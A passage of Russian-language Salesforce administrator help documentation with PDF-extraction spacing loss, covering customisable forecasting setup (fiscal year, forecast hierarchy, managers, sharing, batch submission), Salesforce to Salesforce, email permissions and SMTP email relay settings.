диапазон дат и итоговые показателипрогнозов, которые должныотображаться пользователямприпервомоткрытии
вкладки «Прогнозы». Пользователи могут изменять собственные представления, но стандартное представление
отображается всем пользователям одинаково.

8. Чтобы включить или отключить общий доступ к прогнозам, установите или снимите флажок «Включить общий
доступ к прогнозам».

9. Нажмите кнопку «Сохранить».

При включении общего доступа отображается напоминание о выборе пользователей, которые могут предоставлять
общий доступ к текущим представлениям прогнозов. Доступные значения:

• «Требовать помощь администратора для общего доступа к прогнозам»: общий доступ к данным текущих
прогнозов предоставляется только администраторами.

• «Менеджеры прогнозов могут предоставлять общий доступ к данным собственных прогнозов»: общийдоступ
к данным текущих прогнозов предоставляется администраторами; общий доступ к собственнымпредставлениям
предоставляется текущими менеджерами прогнозов.
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Прим.: Данный выбор применяется только к текущим представлениям прогнозов и не является стандартным
параметром организации. Каждый раз, когда вы редактируете или назначаете менеджера прогнозов в иерархии
ролей, вы должны определять пользователей, которые могут публиковать это представление.

При отмене общего доступа к прогнозам отображается напоминание о подтверждении выбранного действия.

Функциянастраиваемогопрогнозированияподдерживаетпять типов стандартныхотчетов. Функциянастраиваемого
прогнозирования не поддерживает создание типов настраиваемых отчетов.

СМ. ТАКЖЕ:

Настройка функции настраиваемого прогнозирования

Предоставление общего доступа к прогнозам вручную

Настройка финансового года для настраиваемого прогнозирования

Настройка финансового года для настраиваемого прогнозирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Длянастройкифинансового
года:
• «Настройка

приложения»

Финансовыйгодопределяетежемесячныйилиежеквартальныйциклпрогнозирования,
месяц начала и использование значения поля «Финансовый год» для начального или
конечного года. Например, если финансовый год начинается в апреле 2015 и
заканчиваетсявмарте 2016, тофинансовомугодуможетбытьназначенозначение «2015»
или «2016».

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Чтобы настроить финансовый год для функции настраиваемого прогнозирования,
выполните указанные ниже действия.

1. Сохраните данные в архиве. Прежде чем настроить финансовый год, рекомендуем
выполнить еженедельный или ежемесячный экспорт данных, так как изменение
параметра влияет на данные прогноза и возможности.

2. В разделе «Настройка» введите «Финансовый год» в поле «Быстрый поиск», затем
выберите «Финансовый год».

3. В зависимости от цикла прогнозирования, выберите значение «Ежемесячно» или
«Ежеквартально» в поле «Период прогноза». Дата начала месяца или квартала
отображается по Гринвичу.

Выбранный период прогноза определяет временной интервал, используемый
компанией для составления планов продаж и прогнозов. В отличие от значения «Ежемесячно», позволяющего
просматривать итоговые значения по кварталам, значение «Ежеквартально» не позволяет просматривать итоговые
значения по месяцам.

4. Заполните поле «Начальный месяц финансового года» значением, соответствующим началу финансового года
организации.

5. Заполните поле «Финансовый год на основе:» значением, которое соответствует тому, как компания называет
финансовый год. Например, еслифинансовый год начинается в апреле 2015, а завершается в марте 2016 и называется
«Финансовый год 2016», рекомендуем выбрать значение «Конечный месяц». Последний месяц определяет способ
обращения компании к финансовому году.
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6. Чтобы изменить параметрыфинансового года для прогнозов, созданных до включения настраиваемых прогнозов,
установите флажок «Применить ко всем прогнозам и планам продаж». Установка данного флажка инициирует
изменение архивных данных прогноза.

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка функции настраиваемого прогнозирования

Настройка иерархии прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки иерархии
прогнозов:
• «Настройка

приложения»

Виерархиипрогнозов указанывсепользователипрогнозаиопределенспособ сведения
их прогнозов в вашей организации. Своевременно обновляйте иерархию прогнозов,
чтобы менеджеры прогнозов видели все стоимости прогнозов подчиненных.

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Поумолчаниюпрогноз основывается на иерархииролейилинаиерархии территорий,
если организация использует функцию управления территориями.

Еслиорганизацияиспользуетфункциюнастраиваемогопрогнозирования, тоиерархия
прогнозов автоматически создается на основе иерархии ролей организации. Иерархия
прогнозов основывается на иерархии территорий только после включения функции
управлениятерриториями. Чтобынастроитьиерархиюпрогнозов, выполнитеуказанные
ниже действия.

• Убедитесь, чтоиерархияпрогнозов содержитвсех соответствующихпользователей.
Дополнительнуюинформациюсм. вразделе «Включениефункциинастраиваемого
прогнозирования для пользователей».

• Убедитесь, чтосоответствующиепользователиназначеныменеджерамипрогнозов,
еслирольилитерриториявиерархиипрогнозовсодержитнесколькопользователей.
Каждый пользователь, расположенный внизу иерархии прогнозов, может быть
назначен менеджером прогнозов. Обратите внимание, что менеджером прогнозов
должен быть выбран отдельный пользователь, которому должны сводиться прогнозы других пользователей. См.
раздел «Назначение менеджеров прогнозов в иерархии прогнозов».

• Предоставьте другим пользователям доступ к представлениям менеджера прогнозов. См. раздел «Предоставление
общего доступа к прогнозам вручную».

Убедитесь, что каждому менеджеру по продажам, имеющему подчиненных, назначена роль менеджера прогнозов в
иерархии прогнозов. В этом случае доступность прогнозов сводится к каждому уровню иерархии.

Строка «Не выполнять прогнозирование», отображаемая напротив роли или территории в иерархии прогнозов,
обозначает, что данной роли или территории не назначен менеджер прогнозов.
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Прим.: Удаление пользователя из иерархии прогнозов или иерархии ролей инициирует необратимое удаление
всех данных о планах продаж и переопределениях.

СМ. ТАКЖЕ:

Настройка функции настраиваемого прогнозирования

Настройка иерархии прогнозов

Предоставление общего доступа к прогнозам вручную

Предоставление пользователям доступа к функции настраиваемого прогнозирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки иерархии
прогнозов:
• «Настройка

приложения»

Чтобыпредоставитьпользователямдоступкпрогнозампродаж, добавьтеих виерархию
прогнозов и предоставьте полномочие «Разрешить прогнозирование».

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Чтобы включить функцию настраиваемого прогнозирования, если организация не
использует функцию управления территориями, выполните указанные ниже действия.

1. Введите строку «Иерархия прогнозов» в поле «Быстрый поиск» вменю «Настройка»,
затем выберите «Иерархия прогнозов».

2. Дляпросмотраспискапользователей, назначенныхопределенномууровню, нажмите
кнопку «Включить пользователей», расположенную напротив роли на данном
уровне.

3. Чтобы подключить пользователя к функции настраиваемого прогнозирования,
выберите пользователя и нажмите кнопку «Добавить». Чтобы отключить
пользователя, выберите нужного пользователя и нажмите кнопку «Удалить».

4. Нажмите кнопку «Сохранить».

Прим.: Удаление пользователя из иерархии прогнозов или иерархии ролей
инициирует необратимое удаление всех данных о планах продаж и
переопределениях.

Чтобы включить функцию настраиваемого прогнозирования, если организация использует функцию управления
территориями, выполните указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».

2. Щелкните ссылку «Правка» напротив имени нужного пользователя.

3. Установите флажок «Разрешить прогнозирование».

4. Нажмите кнопку «Сохранить».

5. Добавьте пользователя в территорию.

Функция настраиваемого прогнозирования поддерживает пять типов стандартных отчетов. Функция настраиваемого
прогнозирования не поддерживает создание типов настраиваемых отчетов.
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Прим.: Чтобы просмотреть список пользователей для территории, выберите имя нужной территории в иерархии
территорий или запустите отчет по территориям. Дополнительную информацию об отчетах по территориям см.
в разделе «Отчеты по территориям».

Если для роли или территории добавляется несколько пользователей, рекомендуем назначить только одного из
нихв качествеменеджерапрогнозовдля такойролиилитерритории. См. раздел «Назначениеменеджеровпрогнозов
в иерархии прогнозов».

СМ. ТАКЖЕ:

Настройка функции настраиваемого прогнозирования

Настройка функции настраиваемого прогнозирования

Включение функции управления территориями

Предоставление общего доступа к прогнозам вручную

Назначение менеджеров прогнозов в иерархии прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки иерархии
прогнозов:
• «Настройка

приложения»

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

После включения поддержки настраиваемого прогнозирования пользователи могут
быть назначены менеджерами прогнозов для каждой роли в иерархии прогнозов.
Пользователю, назначенному менеджером прогнозов, предоставляется доступ ко всем
прогнозамнижестоящихпользователейвиерархиипрогнозов. Например, руководителю
и его помощнику назначена одна роль, но сводка по прогнозам всех подчиненных
доступнаруководителю, поэтомуименноонявляетсяменеджеромпрогнозоввиерархии
прогнозов. Отправкапрогнозовдоступнаруководителюиегопомощнику, нопросмотр
сводки по прогнозам других пользователей доступен только руководителю.

Роль, которой не назначен менеджер прогнозов в иерархии прогнозов, и все ее
подчиненные роли не участвуют в прогнозах.

Строка «Не выполнять прогнозирование», отображаемаянапротивролиилитерритории
в иерархии прогнозов, обозначает, что данной роли или территории не назначен
менеджер прогнозов.

1. Вразделе «Настройка» введите «Прогнозы (настраиваемые)» вполе «Быстрый поиск»,
затем выберите «Прогнозы (настраиваемые)».

2. Чтобы назначить пользователя менеджером прогнозов, щелкните «Назначить
менеджера» или «Редактировать менеджера» напротив нужной роли.

Ролибезподчиненныхролейнемогутиметьменеджеровпрогнозов, кромеслучаевиспользованияфункцииуправления
территориями, поддерживающей менеджеров прогнозов на всех уровнях.

3. Выберите пользователя, который должен быть назначен менеджером прогнозов для выбранной роли. В случае
отсутствия доступных пользователей, включите соответствующего пользователя (см. раздел «Включение функции
настраиваемого прогнозирования для пользователей»).

4. Если организация поддерживает общий доступ к прогнозам, выберите параметры общего доступа.

• Чтобыограничитьобщийдоступкпрогнозамтолькоадминистраторами, установитефлажок «Требовать помощь
администратора для общего доступа к прогнозам». Данный параметр выбран по умолчанию.
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• Чтобы разрешить администратору или менеджеру прогнозов предоставлять общий доступ к данному
представлению, установитефлажок «Менеджеры прогнозов могут предоставлять общий доступ к собственным
представлениям прогнозов».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка функции настраиваемого прогнозирования

Настройка иерархии прогнозов

Предоставление общего доступа к прогнозам вручную

Включение функции настраиваемого прогнозирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
настраиваемых прогнозов:
• «Настройка

приложения»

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Включение функции настраиваемого прогнозирования позволяет пользователям
прогнозовпросматриватьиотправлятьнастраиваемыепрогнозынавкладке «Прогнозы»
на основе параметров настраиваемых прогнозов. Функция настраиваемого
прогнозирования поддерживает пять типов стандартных отчетов. Функция
настраиваемого прогнозирования не поддерживает создание типов настраиваемых
отчетов.

1. Введите строку «Иерархия прогнозов» в поле «Быстрый поиск» вменю «Настройка»,
затем выберите «Иерархия прогнозов».

2. Щекните «Включитьнастраиваемоепрогнозирование». Если данныйпараметр
недоступен, то функция настраиваемого прогнозирования уже включена. Ниже
перечислены полномочия пользователя, доступные после включения функции
настраиваемого прогнозирования.

ОписаниеПолномочие

Данное полномочие позволяет
переопределять собственные прогнозы
ипрогнозыподчиненныхпользователей

Переопределение прогнозов

в иерархии прогнозов. Данное
полномочие назначается всем
стандартнымпрофилям, кромепрофиля
«Только для чтения».

Данноеполномочиепозволяетизменять
собственные планы продаж. Данное

Редактирование личного плана продаж

полномочие назначается всем
стандартнымпрофилям, кромепрофиля
«Только для чтения».

Полномочие «Управление
пользователями» позволяет всегда
редактировать любые планы продаж.
Пользователи могут всегда
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ОписаниеПолномочие

редактировать планы продаж подчиненных
пользователей.

Данное полномочие позволяет просматривать любые
прогнозы, независимо от положения пользователя в

Просмотр всех прогнозов

иерархии прогнозов. Данное полномочие назначается
профилю «Системный администратор».

3. Выберите соответствующие макеты страниц возможностей, которые должны содержать новый связанный список
«Прогнозывозможности». Чтобыдобавитьданныйсвязанныйсписоквмакетыстраниц, настроенныепользователями,
выберите параметр «Добавить...».

4. Нажмите кнопку «Сохранить».

5. При необходимости включите или отключите данные полномочия.

Прим.: Если организация использует настраиваемые прогнозы, то прогнозы зависят от способа соотнесения
значений раскрывающегося списка «Этап возможности» с категориями прогноза.

СМ. ТАКЖЕ:

Настройка функции настраиваемого прогнозирования

Включение функции управления территориями

Предоставление общего доступа к прогнозам вручную

Предоставление общего доступа к прогнозам вручную

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Администратор создает иерархию прогнозов организации, определяющую
пользователей, которые могут просматривать данные прогноза. Администратор может
вручную расширить полномочия общего доступа к данным прогнозов, тогда как
пользователи могут вручную расширять полномочия общего доступа к данным
собственных прогнозов. Общий доступ к прогнозам, предоставляемый вручную,
позволяет только расширять уровень доступа к данным прогнозов; текущий уровень
доступапользователейнеможетбытьограничен. Общийдоступкпрогнозуможетбыть
предоставленвручнуютолькоприналичииполномочияадминистратораилименеджера
прогнозов.

Чтобы просмотреть пользователей, которые могут просматривать прогноз или
предоставлять доступ к данным прогноза, выполните одно из указанных ниже действий.

• Введите строку «Иерархия прогнозов» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Иерархия
прогнозов», затем щелкните «Общий доступ» около нужного представления.

• Чтобы предоставить доступ к данным собственного прогноза, нажмите кнопку «Общий доступ» на начальной
странице прогнозов.
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Список «Общий доступ пользователя и группы» содержит всех пользователей, имеющих доступ к данным прогноза.
Кроме того, данный список определяет текущий уровень доступа пользователей, возможность отправки прогноза и
причинупредоставления доступа. Нижеперечислены возможныепричиныпредоставления доступа к даннымпрогноза.

ОписаниеПричина

Пользователь является администратором или обладает
полномочием «Изменение всех данных».

Администратор

Доступ к даннымпрогноза предоставляется пользователю
посредством кнопки «Общий доступ» в прогнозе.

Делегированный менеджер прогнозов

Пользователь является менеджеромпрогнозов в иерархии
прогнозов.

Менеджер прогнозов

Ответственный может всегда просматривать данные
собственного прогноза.

Ответственный

Пользователь обладает полномочием «Просмотр всех
прогнозов».

Полномочие «Просмотр всех прогнозов»

Ниже перечислены действия, доступные на странице «Сведения об общем доступе к прогнозу».

• Чтобыпросмотретьотфильтрованныйсписок элементов, выберитенужноепредставлениевраскрывающемсясписке
«Просмотр» илищелкните ссылку «Создать новое представление» для разработки собственных настраиваемых
представлений.Чтобыизменитьилиудалитьлюбоесозданноепредставление, выберите его враскрывающемсясписке
«Просмотр» ищелкните ссылку «Правка».

• Чтобы предоставить другим пользователям или группам доступ к данным прогноза, нажмите кнопку «Добавить».

Прим.: Общий доступ, предоставляемый вручную, распространяется на данные возможности, являющиеся
частьюпрогноза. Приналичииполномочиянапереопределениеданныхпрогнозапользователюпредоставляется
полномочие на переопределение данных прогноза возможности.

• Чтобыпросмотреть всехпользователей, имеющихдоступкданнымпрогноза, нажмитекнопку «Развернутьсписок».

• Чтобы изменить или удалить уровень доступа, щелкните ссылку «Правка» или «Удал.» напротив нужного элемента
списка при использовании созданных правил общего доступа, предоставляемого вручную.

СМ. ТАКЖЕ:

Определение параметров настраиваемых прогнозов

Настройка функции настраиваемого прогнозирования
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Отправка настраиваемых прогнозов пакетами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для пакетной отправки
прогнозов:
• «Изменение всех

данных»

Отправка прогнозов инициирует создание снимка данных прогноза и предоставление
доступа к данным в журнале прогноза и отчетах. Чтобы сэкономить время, отправляйте
несколько прогнозов в один прием.

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Чтобы отправить несколько прогнозов, выполните указанные ниже действия.

1. Вразделе "Настройка" введите «Пакетная отправка» вполе «Быстрый поиск», затем
выберите «Пакетная отправка прогнозов».

2. Выберите соответствующий период прогноза.

3. Чтобыдобавитьпользователейвсписок «Пользователи, выбранные для пакетной
отправки», выберите нужных пользователей и нажмите кнопку «Добавить». Чтобы
выбрать несколько пользователей, воспользуйтесь комбинацией CTRL+щелчок.

4. Нажмите кнопку «Отправить».

5. Нажмите кнопку «OK».

Пользователи также могут отправлять прогнозы по отдельности, нажимая кнопку
«Отправить».

СМ. ТАКЖЕ:

Настройка функции настраиваемого прогнозирования
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Включение деловых сетей для межорганизационного сотрудничества

Включение функции Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения функции
Salesforce to Salesforce:
• «Изменение всех

данных»

Внимание: Включение функции Salesforce to Salesforce является необратимым,
однако пользователи могут управлять общедоступной информацией и
соответствующими подключениями. Кроме того, пользователи могут в любое
время отменить общий доступ или изменить его параметры. Включая функцию
Salesforce to Salesforce, пользователи подтверждают свое согласие на обработку
компанией salesforce.com обновленных данных организации, используемых
совместно с другими организациями. Благодаря функции Salesforce to Salesforce,
пользователи могут предоставлять доступ к данным сторонним получателям,
которые также могут использовать даннуюфункцию для предоставления доступа
другим неизвестным получателям. Ответственность за ограничение на
использованиеиразглашениеобщедоступныхданных, а такжевыполнениедругих
договорных обязательств, возлагается на исходных пользователей.

Чтобы включитьфункцию Salesforce to Salesforce, выполните указанные ниже действия.

1. Введите строку «Параметры Salesforce to Salesforce» в поле «Быстрый
поиск» вменю «Настройка» ивыберитепункт «Параметры Salesforce to Salesforce».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить».

4. Нажмите кнопку «Сохранить».

Послевключенияфункции Salesforce to Salesforce создаетсяновыйпользовательсименем
«Пользователь подключения». Данныйпользователь не учитывается в количестве использованных лицензий, а также не
отображается на страницах управления пользователями.

Поле «Последнее изменение сделано» общедоступной записи, обновленной бизнес-партнером, содержит значение
«Пользователь подключения», которое позволяет отслеживать любые изменения, внесенные бизнес-партнерами.

Пользователю подключения автоматически назначается профиль «Партнерская сеть». Профиль «Партнерская сеть»
недоступен для изменения и отсутствует на страницах управления профилями.

Ниже перечислены действия, доступные пользователю после включения функции Salesforce to Salesforce.

1. Создайте набор полномочий с полномочием «Управление подключениями» и значением «Доступно» для вкладки
«Подключения», азатемназначьтеданныйнаборполномочийпользователям, которыебудутработатьсподключениями
Salesforce to Salesforce.

Рекомендуем предоставить полномочие «Управление очередями» всем пользователям с полномочием «Управление
подключениями». Таким образом, очереди для подключений могут создаваться и управляться без помощи
администратора.

2. Настройте параметрыфункции Salesforce to Salesforce (например, шаблоны сообщений для отправки приглашений
бизнес-партнерам).

3. Добавьте связанный список «Внешний общий доступ» в макеты страниц для соответствующих профилей.

Прим.: Данныйсвязанныйсписокможетбытьдоступенвсемпользователям, независимоотналичияполномочия
«Управление подключениями».

2208

Включение деловых сетей для межорганизационного
сотрудничества

Настройка и обслуживание инструментов продаж



4. Чтобыразрешитьпользователямпросмотрипринятие общедоступных записей, создайте настраиваемые списковые
представления для связанного списка «Внешний общий доступ» и предоставьте доступ соответствующим
пользователям.

5. При необходимости добавьте столбцы «Имя принятого подключения» и «Имя отправленного подключения» в
связанные списки макетов страниц для нужных объектов.

6. Создайте и контролируйте подключения к бизнес-партнерам.

СМ. ТАКЖЕ:

Общие сведения о функции Salesforce to Salesforce

Советы по использованиюфункции Salesforce to Salesforce

Запрос на предмет использования партнерами системы Salesforce

Настройка Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
Salesforce to Salesforce:
• «Изменение всех

данных»

Функция Salesforce to Salesforce позволяет использовать шаблоны сообщения для
взаимодействия сбизнес-партнерами. Кроме того, пользователимогутнастроить адреса
эл. почты и имена, используемые в шаблонах. Чтобы настроить любые доступные
параметры, выполните указанные ниже действия.

1. Введите строку «Параметры Salesforce to Salesforce» в поле «Быстрый
поиск» вменю «Настройка» ивыберитепункт «Параметры Salesforce to Salesforce».

2. Чтобы изменить указанные ниже параметры, нажмите кнопку «Правка».

ОписаниеПараметр

Адрес эл. почты, используемый для отправки всех
шаблонов сообщения Salesforce to Salesforce
(например, partner@acme.com). Сообщения эл. почты
отправляются системой Salesforce автоматически,
однако в качестве отправителя отображается данный
адрес. Кроме того, данный адрес используется для
отправки ответа на шаблон сообщения.

Адрес эл. почты
отправителя

Имя, которое будет связано с адресом эл. почты
отправителя (например, «Менеджер канала
распределения Acme»).

Имя эл. почты
отправителя

Шаблон, используемый для отправки приглашений.Шаблон приглашения

Шаблон, используемый для уведомления
бизнес-партнера о деактивации подключения.

Шаблон деактивации

Шаблон, используемый для уведомления
бизнес-партнера о принятии приглашения.

Шаблон принятия
приглашения

Шаблон, используемый для уведомления
бизнес-партнера об отклонении приглашения.

Шаблон отклонения
приглашения
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ОписаниеПараметр

Шаблон, используемыйдля уведомлениябизнес-партнеровобизменении
активного профиля подключения.

Шаблон обновления профиля
подключения

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о функции Salesforce to Salesforce

Приглашение бизнес-партнеров к подключению с помощью Salesforce to Salesforce

Управление подключениями

Предоставление общего доступа к записям с помощьюфункции Salesforce to Salesforce

Настройка интегрированной эл. почты Salesforce

Версии эл. почты и полномочия

ВЕРСИИ

Доступно в версиях:
Salesforce Lightning
Experience.

Developer Edition, Enterprise
Edition, Professional Edition,
Performance Edition и
Unlimited Edition

Электронная почта Salesforce ишаблоны доступны в нескольких версиях. Включите
даннуюфункцию, чтобы управлять полномочиями и доступом администраторов и
конечных пользователей на уровне организации.

Полномочия и требования для доступаУровень организации

Использование эл. почты в Lightning
Experience:

• Должна использоваться версия
Lightning Experience.

• Действие отправки эл. почты должно
бытьдобавленовдействия Lightning на
макетах страниц для объектов с
поддержкой Lightning Email.

Уровень доступа «Доступ для отправки
эл. почты»  — «Все сообщения эл. почты».

Отправка всех типов исходящих
сообщений эл. почты:

Отправка вложений: • Поддержка доставки содержимого с
отправкой файлов размером более
3 МБ. Если доставка содержимого
выключена, пользователи не могут
загружатьфайлыразмеромболее 3 МБ.

• Для отправкифайлов должна иметься
поддержка Salesforce Files. Если
отсутствует поддержка Salesforce Files,
можно посылать только вложения.
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Полномочия и требования для доступаУровень организации

Должна быть включена функция «Общедоступные
действия». Если функция «Общедоступные действия»

Просмотр отправленных сообщений в качестве задач:

выключена, то при отправке пользователем сообщения
нескольким контактам система Salesforce создает копии
закрытых задач: по одной на каждый контакт.

Полномочия и требования для доступаАдминистратор

Полномочие «Отправка эл. почты».Создание шаблона сообщения эл. почты:

Доступ к присоединяемому файлу.Добавление файла в шаблон или сообщение:

Полномочие «Просмотр всех данных».Удаление шаблона, созданного другим пользователем:

Перед первой отправкой эл. почты все администраторы
должны подтвердить адреса эл. почты. Выполните
отображаемые инструкции.

Отправка эл. почты:

Необходимые настройки и полномочияПользователь

Полномочие «Отправка эл. почты».Создание шаблона сообщения эл. почты:

Доступ к полям соответствующего объекта.Добавление объединенных полей в шаблон или
сообщение:

Доступ к присоединяемому файлу.Добавление файла в шаблон или сообщение:

Нет.Удаление собственного шаблона:

Отправка эл. почты: • Полномочие «Отправка эл. почты».

• Передпервойотправкойэл. почтывсе администраторы
и пользователи должны подтвердить адреса эл. почты.
Выполните отображаемые инструкции.

СМ. ТАКЖЕ:

Конфигурация действий электронной почты в компоновщике действий в системе Lightning Experience
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Настройка функции перенаправления эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки функции
перенаправления эл. почты:
• «Изменение всех

данных»

Функция перенаправления эл. почты использует почтовый сервер для отправки
сообщенияэл. почты, созданногобезпримененияпочтовогосервера. Нижеперечислены
действия, доступныекомпаниямпосленастройкифункцииперенаправления эл. почты.

• Маршрутизация всех сообщений эл. почты через собственные почтовые серверы
во избежание несанкционированного доступа сотрудников Salesforce к эл. почте.
Перехват эл. почты — это подделка заголовков сообщений эл. почты, при которой
изменяется исходный отправитель.

• Хранение копий всех сообщений эл. почты в соответствии с действующими
нормативными актами.

• Применениетекущихфильтровсодержимого, сканирующихсообщениянаналичие
данных, которые не могут быть отправлены посредством корпоративной эл. почты.

• Отправкаисходящегосообщенияэл. почтыклиентампосле егопроверкинаналичие
вирусов.

• Добавление данных (например, публичные заявления об ограничении
ответственности внизу сообщений эл. почты).

Чтобы настроить функцию перенаправления для сообщений эл. почты, созданных
системой Salesforce, настройте систему Salesforce для автоматической маршрутизации
эл. почты через SMTP-сервер компании. Чтобы включить функцию перенаправления
эл. почты, обратитесь в компанию Salesforce.

Внимание: Прежде чем активировать функции управления возвратом и перенаправления эл. почты, обратитесь к
администратору эл. почты с просьбой проверить почтовый сервер организации на предмет перенаправления
сообщений эл. почты, отправленных из компании Salesforce; в противном случае доставка сообщений эл. почты,
отправленных системой Salesforce, не гарантируется. Дополнительную информацию офункции управления
возвратом см. в разделе «Настройка параметров доставки» на странице 2216.

Чтобы настроить функцию перенаправления эл. почты, выполните указанные ниже действия.

1. Введите строку «Активация функции перенаправления эл. почты» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Активацияфункции перенаправления эл. почты».

2. Настройте параметры ниже.

ОписаниеПараметр

Имя или IP-адрес хоста, используемый SMTP-сервером
компании. Чтобы получить данную информацию,
обратитесь к администратору эл. почты.

Почтовый узел

Важное замечание: Прежде чем использовать
протокол TLS для данного подключения, введите
имя хоста взамен IP-адреса. Имяхостаиспользуется
протоколом TLS для проверки сертификатов.

Введите имя хоста в следующемформате:

<mail server>.<domain>.<domain extension>
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ОписаниеПараметр

Например:

mail.acme.com

Номер порта, используемого SMTP-сервером компании.
Чтобы получить данную информацию, обратитесь к

Порт

администратору эл. почты. Функцияперенаправленияэл.
почты поддерживается портами 25, 587, 10025 и 11025.

Данныйпараметропределяетдоступностьпротокола TLS
для SMTP-сеансов Salesforce. Выберите одно из указанных
ниже значений.

Параметр TLS

• «Предпочтительно»  (поумолчанию). Еслиудаленный
сервер поддерживает протокол TLS, то система
Salesforce обновляет текущий SMTP-сеанс для
использования TLS. В противном случае система
Salesforce продолжает сеанс без протокола TLS.

• «Обязательно». Система Salesforce продолжает сеанс
только при поддержке протокола TLS удаленным
сервером. В противном случае система Salesforce
завершает сеанс без доставки эл. почты.

• «Проверка предпочтительна». Еслиудаленныйсервер
поддерживает протокол TLS, то система Salesforce
обновляет текущий SMTP-сеанс для использования
TLS. Прежде чем начать сеанс, система Salesforce
проверяет сертификат на наличие подписи
допустимым центром сертификации, а общее имя,
указанное в сертификате, на соответствиедоменуили
службе обмена почтой, выбранной для текущего
подключения. Если протокол TLS доступен, но
сертификат не подписан или используется другое
общее имя, то система Salesforce прерывает сеанс без
доставки эл. почты. В противном случае система
Salesforce продолжает сеанс без протокола TLS.

• «Проверка обязательна». Система Salesforce
продолжает сеанс только при поддержке протокола
TLS удаленным сервером, наличии подписи
допустимым центром сертификации и соответствии
общегоимени, указанногов сертификате, доменуили
службеобменапочтой, выбраннойдляподключения
системы Salesforce. Если данные критерии не
выполняются, то система Salesforce завершает сеанс
без доставки эл. почты.

Данный параметр определяет необходимость
ограничения функции перенаправления эл. почты

Ограничить перенаправление на домены
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ОписаниеПараметр

определенными доменами. При выборе данного
параметра введите имена доменов через запятую в
текстовое поле ниже. (При необходимости
воспользуйтесь специальным символом (*); например,
домен *.subdomains.com соответствует адресам эл.
почты ivan@aco.subdomains.com и ivan@bco.subdomains.com
(но не адресу ivan@subdomains.com). Благодаря
специальному символу, система Salesforce может
перенаправлятьэл. почтуна SMTP-серверкомпаниитолько
при отправке сообщения эл. почты на один из
перечисленных доменов. Если данныйфлажок
установлен, но домены не указаны, то система Salesforce
направляет всю эл. почту на SMTP-сервер компании.

Данный параметр включает функцию перенаправления
эл. почты. Еслиданныйфлажокснят, то система Salesforce

Активно

сохраняет параметры перенаправления эл. почты, но не
перенаправляетсообщенияэл. почтынапочтовыйсервер
компании.

3. Нажмите кнопку «Сохранить».

Salesforce рекомендует отправлять тестовое сообщение при каждом изменении параметров перенаправления эл. почты.

СМ. ТАКЖЕ:

Тестирование доставки эл. почты

Включение СК сообщений эл. почты о соответствии

Настройка параметров доставки

Единые адреса
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Включение функции Email to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения или
отключенияфункции Email
to Salesforce:
• «Изменение всех

данных»

Предоставьте пользователям возможность добавлять сообщения эл. почты к записям
Salesforce. Функция Email to Salesforce позволяет пользователям назначать сообщения эл.
почтыинтересам, контактамивозможностям, либодругимконкретнымзаписямвсистеме
